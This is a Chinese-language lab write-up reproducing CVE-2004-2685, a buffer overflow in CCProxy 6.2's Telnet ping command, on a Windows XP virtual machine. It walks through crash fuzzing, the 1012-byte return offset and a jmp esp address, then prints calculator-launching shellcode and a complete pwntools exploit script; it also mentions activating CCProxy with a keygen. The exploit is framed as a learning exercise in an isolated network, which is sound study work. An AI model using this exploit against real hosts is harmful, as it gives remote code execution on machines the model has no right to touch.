CVE-2004-2685:CCProxy缓冲区溢出漏洞

为什么esp偏移是4呢

信息

https://www.cve.org/CVERecord?id=CVE-2004-2685

漏洞概述

YoungZSoft CCProxy 6.2及更早版本中存在缓冲区溢出漏洞,远程攻击者可通过向Telnet代理服务发送包含过长地址的ping (p)命令来执行任意代码。

影响版本

YoungZSoft CCProxy 6.2及更早版本

CWE

CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer

原理

CCProxy在代理Telnet协议时,可以接受Ping命令
Ping命令格式:ping hostname\r\n
当hostname的长度大于或者等于1010字节时,CCProxy 6.2会发生缓冲区溢出,导致程序崩溃。构造特殊输入可以劫持程序流造成任意代码执行

环境

Windows XP SP3

安装

参考:https://blog.csdn.net/linxinfa/article/details/112768896

下载:https://msdn.itellyou.cn/

1
ed2k://|file|zh-hans_windows_xp_professional_with_service_pack_3_x86_cd_x14-80404.iso|630239232|CD0900AFA058ACB6345761969CBCBFF4|/

打开VMware新建虚拟机。全部默认。注册码的部分全部跳过。漫长的等待…

image-20251203162552470

笑晕了

image-20251203163519113

共享文件夹

添加一个共享文件夹

image-20251203163309476

然后开机,右击我的电脑,点击映射网络驱动器,点浏览,等待出现刚刚设置的文件夹

image-20251203164258915

在我的电脑里可以找到这个网络驱动器

image-20251203164338352

网络

仅主机模式

image-20251203174547057

XP设静态IP

image-20251203174421538

主机VMnet1设静态IP。然后,关闭XP的防火墙!!通了

image-20251203175416569

关闭DEP

忘记做了,目移

CCProxy

安装之后得激活。把注册机挪到安装目录,运行,需要输入machine id和serial

嗯找不到先跳过了,如果后面有问题再看看有没有别的绕过方法

复现

先启动CCProxy。

查看ip。端口好像是默认23。然后就可以在别的机器上telnet连接上CCProxy的端口。

1
telnet 192.168.101.88 23

使用cyclic生成一个2000长的字符串,ping过去

image-20251203175752045

崩溃了,查看错误报告

image-20251203175812666

image-20251203175836961

查看技术报告(并没有看出什么)

image-20251203180314764

噢噢有的,后面有上下文和栈。嘶,但是好像不是崩溃时的寄存器值

image-20251203225812314

image-20251203225611959

image-20251203225712557

用溢出数据看偏移,得到ret的偏移是1012

image-20251203181215059

要在ret处放jmp esp指令,实现跳转。jmp esp指令地址有个通用的是0x7FFA4512

于是程序会跳到esp开始执行,接下来就是esp里面放的啥。同样的方法可以测得esp的偏移是4

所以payload的结构就是

1
buffer(4) + shellcode + 填充到1012位为止 + 0x7FFA4512(jmp esp地址)

网上找了个直观的图

image-20251204201547872

shellcode从网上找了一段调计算器的:https://www.cnblogs.com/toorist/p/4428340.html

1
2
3
4
5
6
7
8
9
10
11
 4 unsigned char shellcode[68] = {
5 0x33, 0xC0, 0x50, 0xB8, 0x2E, 0x64, 0x6C, 0x6C,
6 0x50, 0xB8, 0x65, 0x6C, 0x33, 0x32, 0x50, 0xB8,
7 0x6B, 0x65, 0x72, 0x6E, 0x50, 0x8B, 0xC4, 0x50,
8 0xB8, 0x7B, 0x1D, 0x80, 0x7C, 0xFF, 0xD0, 0x33,
9 0xC0, 0x50, 0xB8, 0x2E, 0x65, 0x78, 0x65, 0x50,
10 0xB8, 0x63, 0x61, 0x6C, 0x63, 0x50, 0x8B, 0xC4,
11 0x6A, 0x05, 0x50, 0xB8, 0xAD, 0x23, 0x86, 0x7C,
12 0xFF, 0xD0, 0x33, 0xC0, 0x50, 0xB8, 0xFA, 0xCA,
13 0x81, 0x7C, 0xFF, 0xD0
14 };

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

host = "192.168.101.88"
port = 23

context(os='linux', arch='amd64', log_level='debug')
io = remote(host , port)

shellcode = b"\x33\xC0\x50\xB8\x2E\x64\x6C\x6C\x50\xB8\x65\x6C\x33\x32\x50\xB8" \
b"\x6B\x65\x72\x6E\x50\x8B\xC4\x50\xB8\x7B\x1D\x80\x7C\xFF\xD0\x33" \
b"\xC0\x50\xB8\x2E\x65\x78\x65\x50\xB8\x63\x61\x6C\x63\x50\x8B\xC4" \
b"\x6A\x05\x50\xB8\xAD\x23\x86\x7C\xFF\xD0\x33\xC0\x50\xB8\xFA\xCA" \
b"\x81\x7C\xFF\xD0"
payload = b'ping ' + b'a' * 4 + shellcode + b'\x90' * (1012 - len(shellcode) - 4)
payload += p32(0x7FFA4512)
payload += b'\x90' * (2000 - 1012)

io.sendline(payload)

image-20251204203928852